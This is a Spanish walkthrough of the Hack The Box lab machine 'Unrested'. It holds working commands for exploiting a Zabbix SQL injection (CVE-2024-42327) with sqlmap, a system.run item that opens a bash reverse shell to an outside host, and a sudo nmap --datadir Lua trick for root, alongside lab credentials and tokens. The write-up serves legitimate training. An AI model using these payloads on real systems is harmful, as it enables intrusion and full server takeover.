Descripción

Unrested es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Vulnerabilidad de inyección SQL de Zabbix que conduce a la ejecución remota de comandos
  • Elevación de privilegios mediante un script de comandos de Nmap limitado

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.50.

$ ping -c 3 10.10.11.50
PING 10.10.11.50 (10.10.11.50) 56(84) bytes of data.
64 bytes from 10.10.11.50: icmp_seq=1 ttl=63 time=44.3 ms
64 bytes from 10.10.11.50: icmp_seq=2 ttl=63 time=43.3 ms
64 bytes from 10.10.11.50: icmp_seq=3 ttl=63 time=43.8 ms

--- 10.10.11.50 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 43.288/43.796/44.292/0.409 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.50 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.50
Host is up (0.046s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds

Obtenemos dos puertos abiertos: 22 y 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.10.11.50 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.50
Host is up (0.043s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.85 seconds

Obtenemos dos servicios: uno de Secure Shell (SSH) y otro de Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales factibles para el servicio SSH, vamos a movernos al servicio HTTP. Agregamos la dominio unrested.htb al archivo /etc/hosts. En un brecha asumida, tenemos las credenciales del usuario Zabbix matthew, 96qzn0h2e1k3.

$ echo '10.10.11.50 unrested.htb' | sudo tee -a /etc/hosts

Tenemos una forma de inicio de sesión de Zabbix, una aplicación de monitoreo de red, podemos iniciar sesión. Después de iniciar sesión podemos enumerar la versión de Zabbix instalada en el servidor en la parte final de la página 7.0.0. Encontramos que existe una inyección SQL en la API user.get, CVE-2024-42327. Un usuario no administrado del frontend de Zabbix con el rol de usuario por defecto, o con cualquier otro rol que otorgue acceso a la API, puede explotar esta vulnerabilidad.

Explotación

Podemos empezar enumerando la API de Zabbix, utilizando su documentación. Todos los pedidos se envían al endpoint /zabbix/api_jsonrpc.php. Podemos empezar por iniciar sesión y obtener un token para utilizar en solicitudes futuras.

$ curl -H 'Content-Type: application/json-rpc' -d '{"jsonrpc": "2.0", "method": "user.login", "params": {"username": "matthew", "password": "96qzn0h2e1k3"}, "id": 1}' http://unrested.htb/zabbix/api_jsonrpc.php

{"jsonrpc":"2.0","result":"2a70984d1c7e5ca9b594b79d4c6f62e4","id":1}

Obtenemos el token 2a70984d1c7e5ca9b594b79d4c6f62e4, y nos movemos a enumerar los usuarios utilizando la API user.get.

$ curl -H 'Content-Type: application/json-rpc' -H 'Authorization: Bearer 2a70984d1c7e5ca9b594b79d4c6f62e4' -d '{"jsonrpc": "2.0", "method": "user.get", "params": {}, "id": 1}' http://unrested.htb/zabbix/api_jsonrpc.php

{"jsonrpc":"2.0","result":[],"id":1}

No obtenemos ningún usuario, pero al verificar el código fuente vulnerable de CUser encontramos que si se ingresa el parámetro editable, la consulta se ejecuta correctamente, pero solo se muestra nuestra cuenta.

$ curl -H 'Content-Type: application/json-rpc' -H 'Authorization: Bearer 2a70984d1c7e5ca9b594b79d4c6f62e4' -d '{"jsonrpc": "2.0", "method": "user.get", "params": {"editable": true}, "id": 1}' http://unrested.htb/zabbix/api_jsonrpc.php

{"jsonrpc":"2.0","result":[{"userid":"3","username":"matthew","name":"Matthew","surname":"Smith","url":"","autologin":"1","autologout":"0","lang":"default","refresh":"30s","theme":"default","attempt_failed":"0","attempt_ip":"","attempt_clock":"0","rows_per_page":"50","timezone":"default","roleid":"1","userdirectoryid":"0","ts_provisioned":"0"}],"id":1}

Estamos utilizando esta vulnerabilidad para obtener el token de sesión del administrador. Como vimos en el CVE, la función vulnerable es addRelatedObjects con el parámetro de elementos selectRole. Estamos construyendo la solicitud HTTP para utilizar con el tool SQLmap, con un marcador * que será reemplazado por el payload:

POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: unrested.htb
Authorization: Bearer 1a0bfebca274289fcdcfc7ee2da96eeb
Content-Type: application/json-rpc
Content-Length: 136
Connection: keep-alive

{
  "jsonrpc": "2.0",
  "method": "user.get",
  "params": {"editable": true,
    "selectRole":["name*"]
  },
  "id": 1
}

Luego ejecutamos el comando para encontrar la inyección correcta.

$ sqlmap -r request
...
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] y
JSON data found in POST body. Do you want to process it? [Y/n/q] y
...
[INFO] (custom) POST parameter 'JSON #1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
...
(custom) POST parameter 'JSON #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 77 HTTP(s) requests:
---
Parameter: JSON #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {
  "jsonrpc": "2.0",
  "method": "user.get",
  "params": {"output": [],"editable": true,
    "selectRole":["name AND (SELECT 9154 FROM (SELECT(SLEEP(5)))gRnV)"]
  },
  "id": 1
}
---

Nos movemos a enumerar las bases de datos y tablas. Encontramos la base de datos zabbix y la tabla sessions. Obtenemos el token para el usuario admin, d8977ec9916ac7e9c4b0e2ccc7fe8c06.

$ sqlmap -r requst --dbs
...
available databases [2]:
[*] information_schema
[*] zabbix
...

$ sqlmap -r requst -D zabbix -T sessions --dump
...
Database: zabbix
Table: sessions
[2 entries]
+--------+----------------------------------+----------------------------------+----------+------------+
| userid | sessionid                        | secret                           | status   | lastaccess |
+--------+----------------------------------+----------------------------------+----------+------------+
| 3      | 1a0bfebca274289fcdcfc7ee2da96eeb | 56c61dde5fc3e2b0487778acd9322e92 | 0        | 1759536365 |
| 1      | d8977ec9916ac7e9c4b0e2ccc7fe8c06 | 7eff931cb856a0d90b1265332c146719 | 0        | 1759533899 |
+--------+----------------------------------+----------------------------------+----------+------------+
...

Con los privilegios del administrador, encontramos que podemos ejecutar comandos en la máquina, con la función de creación de items item.create para crear un nuevo item y la función system.run para ejecutar el comando dentro del trabajo. Esto es un ejemplo de un trabajo encontrado en la documentación, encontramos que necesitamos encontrar la identificación de hostid.

{
           "jsonrpc": "2.0",
           "method": "item.create",
           "params": {
               "name": "uname",
               "key_": "system.uname",
               "hostid": "30021",
               "type": 0,
               "interfaceid": "30007",
               "value_type": 1,
               "delay": "10s",
               "inventory_link": 5
           },
           "id": 1
}

Para obtener la identificación del host, podemos utilizar el comando host.get con el token de administración. Obtenemos el ID 10084.

$ curl -s -H 'Content-Type: application/json-rpc' -H 'Authorization: Bearer d8977ec9916ac7e9c4b0e2ccc7fe8c06' -d '{"jsonrpc": "2.0", "method": "host.get", "params": {}, "id": 1}' http://unrested.htb/zabbix/api_jsonrpc.php | jq
{
  "jsonrpc": "2.0",
  "result": [
    {
      "hostid": "10084",
      "proxyid": "0",
      "host": "Zabbix server",
...

Dado que vamos a iniciar una sesión de consola inversa, comienzo a escuchar un puerto TCP.

$ nc -nvlp 1234

Este es el texto completo que vamos a enviar para la ejecución remota de comandos.

{
           "jsonrpc": "2.0",
           "method": "item.create",
           "params": {
               "name": "zabbix command execution",
               "key_": "system.run[\"/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.14/1234 0>&1'\"]",
               "hostid": "10084",
               "type": 0,
               "interfaceid": 1,
               "value_type": 1,
               "delay": "10s"             
           },
           "id": 1
}

Recibimos la consola inversa como el usuario zabbix, la actualizamos.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.50] 57408
bash: cannot set terminal process group (2672): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@unrested:/$ id
id
uid=114(zabbix) gid=121(zabbix) groups=121(zabbix)
zabbix@unrested:/$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
zabbix@unrested:/$ ^Z
[1]  + 83885 suspended  nc -nvlp 1234
$ stty raw -echo; fg
$ reset xterm
zabbix@unrested:/$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Explotación

El usuario zabbix puede ejecutar solo el comando /usr/bin/nmap como usuario root.

zabbix@unrested:/$ sudo -l
Matching Defaults entries for zabbix on unrested:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User zabbix may run the following commands on unrested:
    (ALL : ALL) NOPASSWD: /usr/bin/nmap *

Si intentamos iniciar el modo interactivo de nmap para iniciar un terminal, recibimos la mensaje Interactive is disabled for security reasons.. Esto no es un comando nmap, entonces descubrimos que el comando nmap es un script envolvente, no el binario.

zabbix@unrested:/$ sudo nmap --interactive
Interactive is disabled for security reasons.
zabbix@unrested:/$ file /usr/bin/nmap
/usr/bin/nmap: Bourne-Again shell script, ASCII text executable
zabbix@unrested:/$ cat /usr/bin/nmap
#!/bin/bash

#################################
## Restrictive nmap for Zabbix ##
#################################

# List of restricted options and corresponding error messages
declare -A RESTRICTED_OPTIONS=(
    ["--interactive"]="Interactive mode is disabled for security reasons."
    ["--script"]="Script mode is disabled for security reasons."
    ["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
    ["-iL"]="File input mode is disabled for security reasons."
)

# Check if any restricted options are used
for option in "${!RESTRICTED_OPTIONS[@]}"; do
    if [[ "$*" == *"$option"* ]]; then
        echo "${RESTRICTED_OPTIONS[$option]}"
        exit 1
    fi
done

# Execute the original nmap binary with the provided arguments
exec /usr/bin/nmap.original "$@"

Encontramos que este script bloquea las funciones que podrían llevar a la ejecución de comandos. Pero al leer la documentación, encontramos la opción --datadir, que por defecto es /usr/share/nmap, y es el directorio desde donde Nmap leerá los datos en ejecución. Dentro del directorio encontramos el archivo nse_main.lua.

zabbix@unrested:/$ ls /usr/share/nmap/
nmap.dtd           nmap-os-db     nmap-protocols  nmap-service-probes  nmap.xsl  nse_main.lua
nmap-mac-prefixes  nmap-payloads  nmap-rpc        nmap-services        nselib    scripts

Este archivo se ejecuta cada vez que la opción de escaneo de Nmap es seleccionada, -sC. Podemos crear un archivo .lua personalizado dentro de otro directorio y luego cargarlo. El comando se ejecutará y tendremos permisos como root.

zabbix@unrested:/$ mktemp -d
/tmp/tmp.bSMRi0IvAo
zabbix@unrested:/$ echo 'os.execute("/bin/bash -i")' > /tmp/tmp.bSMRi0IvAo/nse_main.lua
zabbix@unrested:/$ sudo /usr/bin/nmap --datadir /tmp/tmp.bSMRi0IvAo/ -sC 127.0.0.1
Starting Nmap 7.80 ( https://nmap.org )
root@unrested:/# script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@unrested:/# id
uid=0(root) gid=0(root) groups=0(root)

Flags

En el terminal de root podemos recuperar tanto las flags.

root@unrested:/# cat /home/matthew/user.txt 
<REDACTED>
root@unrested:/# cat /root/root.txt 
<REDACTED>